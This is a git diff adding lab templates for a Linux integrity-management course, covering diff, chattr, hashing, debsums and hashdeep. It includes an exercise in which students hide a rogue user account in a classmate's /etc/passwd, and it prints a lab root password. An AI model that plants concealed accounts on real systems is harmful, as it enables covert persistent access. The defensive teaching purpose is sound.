+Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command.
+
+==Run:==
+
+```bash
+diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code:
+
+```bash
+diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd
+```
+
+The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup.
+
+Make a backup of your personal_secrets. ==Run:==
+
+```bash
+cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal
+```
+> The -r tells cp to copy directories and their contents recursively (including sub-directories)
+
+==Make a change to a file== in <%= $example_dir %>
+
+Then ==compare using diff:==
+
+```bash
+diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/
+```
+> -r instructs diff to do a recursive comparison (searching through sub-directories)
+> You can add *--suppress-common-lines* to reduce the amount of output
+
+There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit.
+
+> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb
new file mode 100644
index 000000000..5ca2ed8a6
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb
@@ -0,0 +1,69 @@
+### Protecting integrity with file attributes
+#### Getting to know file attributes
+Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files.
+
+[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways.
+
+==Run:==
+
+```bash
+lsattr <%= $example_file %>
+```
+``
+ -------------e- <%= $example_file %>
+``
+
+The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do:
+
+```bash
+man chattr
+```
+> (Press q to leave the manual page)
+
+==Set the 'i' flag== using the chattr command:
+
+```bash
+sudo chattr +i <%= $example_file %>
+```
+
+Now ==try to delete the file== and see what happens:
+
+```bash
+rm <%= $example_file %>
+```
+Denied!
+
+==Use root permissions== to try to delete the file:
+
+```bash
+sudo rm <%= $example_file %>
+```
+
+It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first.
+
+==Use some commands to remove the 'i' flag==
+> Hint: '-i', instead of '+i'.
+
+Now run a command to ==set the 'a' flag on <%= $example_file %>.==
+
+If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:==
+
+```bash
+sudo bash -c 'echo "test message" > <%= $example_file %>'
+```
+> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+```bash
+sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>'
+```
+> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'.
+
+==View your changes== at the end of the file:
+
+```bash
+tail <%= $example_file %>
+```
+
+This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb
new file mode 100644
index 000000000..9fc0ac381
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb
@@ -0,0 +1,89 @@
+### Protecting integrity with file permissions
+#### Getting to know file permissions
+
+File permissions enable users to control the access that other users have to their files.
+
+We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions.
+
+Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole).
+
+Start by creating a file with some content.
+
+==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+> The output is sent to the file /home/<%= $main_user %>/example
+>
+> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name.
+
+You can read the content:
+
+```bash
+cat /home/<%= $main_user %>/example
+```
+
+Or replace the content:
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+> (Type some content, then press Ctrl-D to finish and return to the
+prompt.)
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--").
+
+By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files.
+
+You can remove the ability of *anyone* changing the content. ==Run:==
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+```
+> -w means "remove write access (for everyone)"
+
+Try changing the content. ==Run:==
+
+```bash
+cat > /home/<%= $main_user %>/example
+```
+
+You can't.
+
+You can remove the ability of **everyone else** changing the content. ==Run:==
+
+```bash
+chmod u+w,o-rw /home/<%= $main_user %>/example
+```
+> u+w: user who owns the file, add write access
+> o-rw: others, remove read and write access
+
+
+You can view the file permissions with:
+
+```bash
+ls -la /home/<%= $main_user %>/example
+```
+`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example ``
+
+Note that **the root user can access any files**, regardless of file permissions.
+
+```bash
+chmod -w /home/<%= $main_user %>/example
+sudo cat /home/<%= $main_user %>/example
+```
+> Enter your password, and note that as root you can access the file regardless of permissions.
+
+"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges.
+
+Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb
new file mode 100644
index 000000000..a960e7cf6
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb
@@ -0,0 +1,125 @@
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons.
+
+Hashes have security properties that enable this use:
+
+- Each hash is unique to the input
+- It is extremely difficult (practically impossible) to find another input that produces the same hash output
+- Any change to the input (no matter how minor) changes the output hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence.
+
+==Generate an MD5 hash== of your backup password file, which you copied previously:
+
+```bash
+md5sum /home/<%= $main_user %>/backups/passwd
+```
+
+Now ==calculate a hash== of your current passwd file:
+
+```bash
+md5sum /etc/passwd
+```
+
+If the generated hashes are different, you know the files do not have **exactly the same content**.
+
+Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one.
+
+==Repeat the above two commands using shasum== rather than md5sum.
+
+SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes.
+
+==Run the following== to generate a file containing hashes of files we can later check against:
+
+```bash
+mkdir /home/<%= $main_user %>/hashes/
+
+shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha
+sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha
+shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Look at the contents== of our new hashes file:
+
+```bash
+less /home/<%= $main_user %>/hashes/hash.sha
+```
+> Press q to quit when done
+
+Now use your new hash list to ==check that nothing has changed== since we generated the hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+==Lab book question: Why does shasum fail to check the integrity of the shadow file?==
+
+==Make a change== to the end of <%= $example_file %>:
+
+```bash
+echo "hello" >> *your-name*
+```
+
+Check whether anything has changed since we generated hashes:
+
+```bash
+shasum -c /home/<%= $main_user %>/hashes/hash.sha
+```
+
+You should see a nice explanation of the files that have changed since generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a Perl script):
+
+```perl
+ #!/usr/bin/perl
+ # Copyleft Z. Cliffe Schreuders
+ # Licenced under the terms of the GPLv3
+
+ use warnings;
+ use strict;
+
+ my %files_hashes = (
+ "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+ "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+ "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+ );
+
+ foreach my $file_entry (keys %files_hashes) {
+ my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`;
+ chomp($hash);
+ if($hash ne $files_hashes{$file_entry}){
+ warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n";
+ } else {
+ print "File unmodified: $file_entry (hash was $hash, as expected)\n";
+ }
+ }
+```
+
+This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same.
+
+==Save the script as checker.pl==
+> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl.
+>
+> Alternatively you can type:
+> "cat > checker.pl"
+> Paste with Ctrl-Shift-V.
+> Then, Ctrl-D, to end the input.
+
+Then ==run the script== with:
+
+```bash
+perl checker.pl
+```
+
+==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?==
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb
new file mode 100644
index 000000000..2c5f26457
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb
@@ -0,0 +1,53 @@
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages.
+
+==View the files containing MD5 hashes== stored for the packages on the system:
+```bash
+ls /var/lib/dpkg/info/*.md5sums
+```
+
+==View the contents== of one of the files.
+
+debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/).
+
+Verify all files installed by all packages:
+```bash
+sudo debsums -ac
+```
+> Ctrl-C to end the program early.
+> Options for debsum include:
+> -a also check config files
+> -e *only* check config files
+> -c only report *changed* files
+
+Verify the files installed by a specific package:
+```bash
+sudo debsums firefox
+```
+
+Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to:
+
+```bash
+dpkg-query -S *any-file-you-chose*
+```
+> Where ==any-file-you-chose== is any file such as /etc/securetty.
+
+The output of that command contains the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+```bash
+sudo debsums -a *package-name*
+```
+> Where package-name is the output from the previous command.
+
+Try to understand the cause of any files failing the integrity checks.
+
+==Workbook question: What are the limitations of this approach?==
+
+- What files will (and won't) this approach to integrity management cover?
+- Are the hashes protected against tampering?
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb
new file mode 100644
index 000000000..1f436705a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb
@@ -0,0 +1,124 @@
+#### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes.
+
+==Run:==
+
+```bash
+sudo sha1deep -r /etc/
+```
+> You can stop the program early by pressing Ctrl-C
+
+The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+```bash
+man sha1deep
+```
+> ==Figure out what the -r flag does.==
+>
+> (q to quit)
+
+We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration:
+
+```bash
+sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes
+```
+
+This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual content that we have hashed...
+
+See how big our list of hashes is:
+
+```bash
+ls -hs /home/<%= $main_user %>/hashes/etc_hashes
+```
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc/:
+
+```bash
+sudo du -hs /etc/
+```
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, **the list of hashes is much smaller**.
+
+Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test).
+> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'.
+
+Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!'
+
+Lets try to identify what has changed on our system...
+
+Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash previously generated:
+
+```bash
+sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc
+```
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+```bash
+sudo cp /etc/passwd /etc/passwd.backup
+```
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created.
+
+Generate a hash list for /etc using hashdeep:
+
+```bash
+sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+
+Hashdeep stores hashes in a different format than the previous tools. Have a look:
+
+```bash
+less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes
+```
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file size for each file.
+
+Delete the new file that you created earlier:
+
+```bash
+sudo rm /etc/*whatever-the-filename-was*
+```
+
+Conduct a hashdeep audit to detect any changes:
+
+```bash
+sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc
+```
+> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed:
+
+```bash
+sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc
+```
+
+Consult the man page for information about what each of the above flags do.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md
new file mode 100644
index 000000000..6fa8301ef
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md
@@ -0,0 +1,959 @@
+# Integrity Management: Protecting Against and Detecting Change
+
+## Introduction
+
+These tasks can be completed on the openSUSE\_42.1 VM.
+
+This lab could be completed on most RPM-based Linux systems with these
+tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working
+together).
+
+## Preparation
+
+If you are working on campus in the IMS labs using the oVirt online
+labs, [*click here for instructions on how to login on campus in the IMS
+labs and create VMs from
+templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing).
+
+If you are working remotely using the oVirt online labs, [*click here
+for instructions on how to login via VPN and create VMs from
+templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing).
+
+The oVirt system is a new online lab infrastructure hosted here at Leeds
+Beckett. This infrastructure is **currently on trial, as a pilot**.
+There is a good chance there will be some technical issues, and not
+every lab will be available via this system. However, if you are happy
+to benefit from this experiment, please keep in mind that you may need
+to fall back to one of the above methods.
+
+If you are working remotely having downloaded our VMs or by copying them
+when you were on campus, [*click here for instructions on how to
+download VMware Player and configure the VMs to run
+remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY).
+
+If you are on campus using the IMS system, [*click here for instructions
+on how to use the IMS system and VM download
+scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA).
+
+Start these VMs:
+
+- openSUSE\_42.1 (user: student password: student)
+
+ - Two copies if working alone (Hint: change the desktop background
+ > of one VM so that you can easily keep track of which VM you
+ > are working on)
+
+Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT
+be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the
+root account -- that is bad practice, and should always be avoided.
+
+Some of these exercises can be completed with a classmate (or simply
+using two VMs), and assumes root access is available to each other's
+systems via an ssh server.
+
+> *Distance learning students*: If you would like to work with someone
+> else from the course, please contact each other via the course Google
+> group and share IP addresses.
+
+**On openSUSE**:
+
+Install the required packages:
+
+> sudo zypper install rsync md5deep perl openssh
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and
+availability. Protecting the integrity of information involves
+preventing and detecting unauthorised changes. In many commercial
+organisations integrity of information is the highest priority security
+goal. Managing who is authorised to make changes to databases or files,
+and monitoring the integrity of resources for unauthorised changes is an
+important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system,
+involves successfully managing a variety of security mechanisms, such as
+authentication, access controls and file permissions, firewalls, and so
+on.
+
+> On Linux systems this can include managing passwords, packet filtering
+> IPTables rules, standard Unix file permissions (rwx), Linux extended
+> attributes (including ACLs for detailed authentication, labels for
+> mandatory access control (MAC), and Linux Capabilities). Linux (like
+> other Unix-like and Unix-based systems) has a long history of adding
+> new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very
+> important for protecting the integrity of files, but are beyond the
+> scope of this lab. Here the focus is on techniques that are *entirely*
+> focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of
+unauthorised changes.
+
+### Protecting integrity with file attributes
+
+Unix systems (such as Linux or FreeBSD) include file attributes that,
+amongst other features, can make files immutable or append only. Setting
+these file attributes can provide an effective layer of security, and
+yet could be considered one of the more obscure Unix security
+features[^1]. Note that this feature is dependent on the use of a
+compatible filesystem (most Unix filesystems, such as ext, are
+compatible with file attributes). Once configured, file attributes can
+even prevent root (the all-powerful Unix superuser) from making changes
+to certain files.
+
+Open a terminal console (such as Konsole from
+ KDEMenu → System → Konsole).
+
+Start by creating a file with some content. Run:
+
+``
+ sudo bash -c 'cat > /var/log/mylogfile'
+ ``
+>
+> (Type some content, then press Ctrl-D to finish and return to the
+> prompt.)
+
+Look at the details of the file:
+
+> ls -la /var/log/mylogfile
+>
+> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile
+
+As we can see above, the file is owned by root, who has read-write
+access – exploring Unix file permissions further is outside the scope of
+this lab, but will be covered elsewhere.
+
+Run:
+
+> lsattr /var/log/mylogfile
+>
+> -------------e- /var/log/mylogfile
+
+The ‘e’ flag is common on ext filesystems, may or may not be present
+when you run the above, and does not really concern us. From a security
+perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man
+page for chattr to find out more about these flags and what they do:
+
+> man chattr
+>
+> (Press q to leave the manual page)
+
+Set the ‘i’ flag using the chattr command:
+
+> sudo chattr +i /var/log/mylogfile
+
+Now try to delete the file and see what happens:
+
+> rm /var/log/mylogfile
+
+Denied! Opps, that’s right, root owns the file (since you created it
+with sudo)! Use root to try to delete the file:
+
+> sudo rm /var/log/mylogfile
+
+It still didn’t work! That’s right, even root can’t delete the file,
+without changing the file’s attributes back first.
+
+Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”).
+
+Now run a command to set the ‘a’ flag on /var/log/mylogfile.
+
+If you have done so correctly, attempting to overwrite the file with a
+test message should fail:
+
+> sudo bash -c 'echo "test message" > /var/log/mylogfile'
+>
+> This should produce an error, since ‘>’ causes the output of the
+> program to be written to the specified log file, which is not allowed
+> due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+> sudo bash -c 'echo "*your-name*: test message" **>>**
+> /var/log/mylogfile'
+>
+> This should succeed, since ‘>>’ causes the output of the program
+> to be appended (added to the end of) to the specified log file, which
+> is allowed. Use your name above, for example “echo "Cliffe: test
+> message" >> /var/log/mylogfile”.
+
+View your changes at the end of the file:
+
+> tail /var/log/mylogfile
+
+This has obvious security benefits, this feature can be used to allow
+files to be written to without altering existing content. For example,
+for ensuring that log files can be written to, but avoiding giving
+everyone who can write to the file the ability to alter its contents.
+
+
+### Protecting integrity with read-only filesystems
+
+On Unix, a filesystem is mounted to a particular point in the directory
+structure; for example, a USB thumb drive may be mounted to
+/media/myUSB/. Some filesystems will automatically mount read-only; for
+example, if you insert a CD-ROM, since those disks are physically
+read-only. It is possible to optionally mount almost any filesystem,
+such as a USB or even a directory, in read-only mode, which will make it
+practically impossible to write changes to it (without remounting or
+accessing the drive/directory in other ways, which normally only root
+can do).
+
+> In a command prompt, run:
+>
+> mount
+>
+> Note that many of the devices and directories have been mounted for
+> read and write access (**rw**). For security reasons, it can be safer
+> to mount things as read-only, when we don’t need to be able to make
+> changes to the contents.
+>
+> Ordinary users can only read the /etc directory but the superuser root
+> who owns the /etc directory can read and write to it. In the following
+> example, you are going to mount the /etc directory to a mount point
+> (another directory within the filesystem) and the contents of the /etc
+> directory will be accessible via the mount point.
+>
+> List the contents of the /etc directory so you are familiar with its
+> contents:
+>
+> ls /etc
+>
+> Create a new directory to be the mount point:
+>
+> mkdir /home/student/test
+>
+> Mount the /etc directory to the new mount point:
+>
+> sudo mount -o bind /etc /home/student/test
+>
+> Make sure the /etc directory is accessible via the test directory
+> mount point:
+>
+> ls /home/student/test
+>
+> Ordinary users can only read but the superuser root can still write to
+> the directory. Test this by creating a new file as the superuser root
+> in the /home/student/test directory:
+>
+> sudo touch /home/student/test/file1
+>
+> Check that a new file has been created using the following commands
+>
+> ls -l /home/student/test/fi\*
+>
+> ls -l /etc/fi\*
+>
+> We can use this techniques to make filesystems and directories
+> read-only. In the next example you will remount the etc in read-only
+> mode so that even the superuser root who owns the /etc directory
+> cannot make changes to its contents via the mount point.
+>
+> sudo mount -o remount,ro,bind /etc /home/student/test
+>
+> Test this by trying creating a new file as the superuser root in the
+> /home/student/test directory:
+>
+> sudo touch /home/student/test/file2
+>
+> This should prevent changes being accidently being made to important
+> configuration files in the /etc directory.
+>
+> Remount the the /etc directory as read-only to itself:
+>
+> sudo mount -o remount,ro,bind /etc /etc
+
+Mounting read-only can be an effective way of protecting resources that
+you don’t need to make any changes to. Read-only mounting is
+particularly effective when an actual disk resides externally, and can
+be enforced remotely. For example, when sharing files over the network.
+
+Note that mounting read-only may be circumvented by root (or a user with
+enough privilege) via direct access to the device files (/dev/sdc1 in
+the example above), or by re-mounting as read-write.
+
+Aside: in new versions of Linux, it is also possible to have a directory
+(one part of what is on a disk) present in the directory structure twice
+with different mount options (for example, /home/cliffe and
+/home/cliffe-read-only). This can be achieved by bind mounting, and then
+remounting to set the bind mount to read only. More information:
+[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/)
+
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest
+defenses can fail, and when they do we want to know about it! In order
+to respond to a security incident we need to detect that one has
+occurred. One way we do so, is to detect changes to files on our system.
+
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the
+system or resources in a clean state. One advantage of this approach is
+that we cannot only detect that files have changed, but also see exactly
+how they differ.
+
+You can (and, if possible, should) **conduct this exercise with a
+classmate**.
+
+Make a backup of your /etc/passwd file:
+
+> cp /etc/passwd /tmp/passwd\_backup
+
+This file (/etc/passwd) is an important file on Unix systems, which
+lists the user accounts on the system. Although historically the hashes
+of passwords were once stored here, they are now typically stored in
+/etc/shadow. Changes to the /etc/passwd file are usually infrequent –
+such as when new user accounts are created – and changes should only be
+made for authorised purposes.
+
+At this point, also make sure you have a backup of any work.
+
+If you are working with a classmate or using two VMs, once you (and your
+classmate or on the other VM) have saved a backup copy of your own
+passwd file using the above command, then connect to your classmate’s
+computer (other VM) using ssh:
+
+> Set your root password to a password you will share with your
+> classmate:
+>
+> sudo passwd
+>
+> Enable your SSH server:
+>
+> sudo /sbin/service sshd start
+>
+> Open port 22 for ssh access to your computer
+>
+> Click KDEMenu → System → Yast
+>
+> Click Firewall in the Security and Users section
+>
+> Click “Allowed Services”
+>
+> Choose “Secure Shell Server” from the “Service to Allow” drop down
+> list
+>
+> Click Add to add ssh to the list of allowed services.
+>
+> Click Next → Finish and close Yast
+>
+> Find your IP address using ifconfig, and tell your classmate your IP
+> address and root password.
+>
+> ssh *their-ip-address*
+>
+> (Where *their-ip-address* is as noted earlier.) You will be prompted
+> for student account password.
+>
+> Switch to the root user (you will be prompted for the root password):
+>
+> su -
+>
+> If you do not know each other’s root password, then feel free to log
+> each other in on an ssh session as root.
+
+Now that you have root access to their system[^2], add a new user to
+their computer... Your aim is to make the new account hard to notice. If
+you are working alone, just do this on your own system:
+
+> useradd *new-username*
+>
+> Where new-username, is some new name. Don’t tell your classmate the
+> name of the account you have created. You may want to create a
+> username that looks innocent.
+
+To make things even more interesting, edit the /etc/passwd file and move
+the new user account line somewhere other than right at the bottom, so
+that it is less obvious:
+
+> vi /etc/passwd
+>
+> Move the cursor onto the line representing your new account (probably
+> at the bottom).
+>
+> In vi type:
+>
+> :m *-number*
+>
+> Where number is the number of lines to move up, for example: “:m -20”
+> will move the currently selected line up 20 lines, “hiding” the new
+> user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Now exit ssh:
+
+> exit
+
+If you are working with a together, look at the changes your classmate
+made on your computer, and try to spot the new user account:
+
+> less /etc/passwd
+>
+> (q to exit)
+
+It’s not as easy as it sounds, especially if your system has lots of
+user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup
+with the current passwd file to determine it has been modified. One such
+tool for determining changes is diff. Diff is a standard Unix command.
+Run:
+
+> diff -q /tmp/passwd\_backup /etc/passwd
+
+Diff should report that the two files differ. Diff can also produce an
+easy to read description of exactly how the file has changed. This is a
+popular format used by programmers for sharing changes to source code:
+
+> diff -u /tmp/passwd\_backup /etc/passwd
+
+There are many advantages to the comparison of backups approach to
+detecting changes, but it also has its limitations. To apply this
+approach to an entire system, you will need a fairly large amount of
+either local or network shared storage, and writes need to be controlled
+to protect the backups, yet written to whenever authorised changes are
+made to keep the backup up-to-date. Also, when the comparisons are made
+substantial disk/network access is involved, since both both sources
+need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did
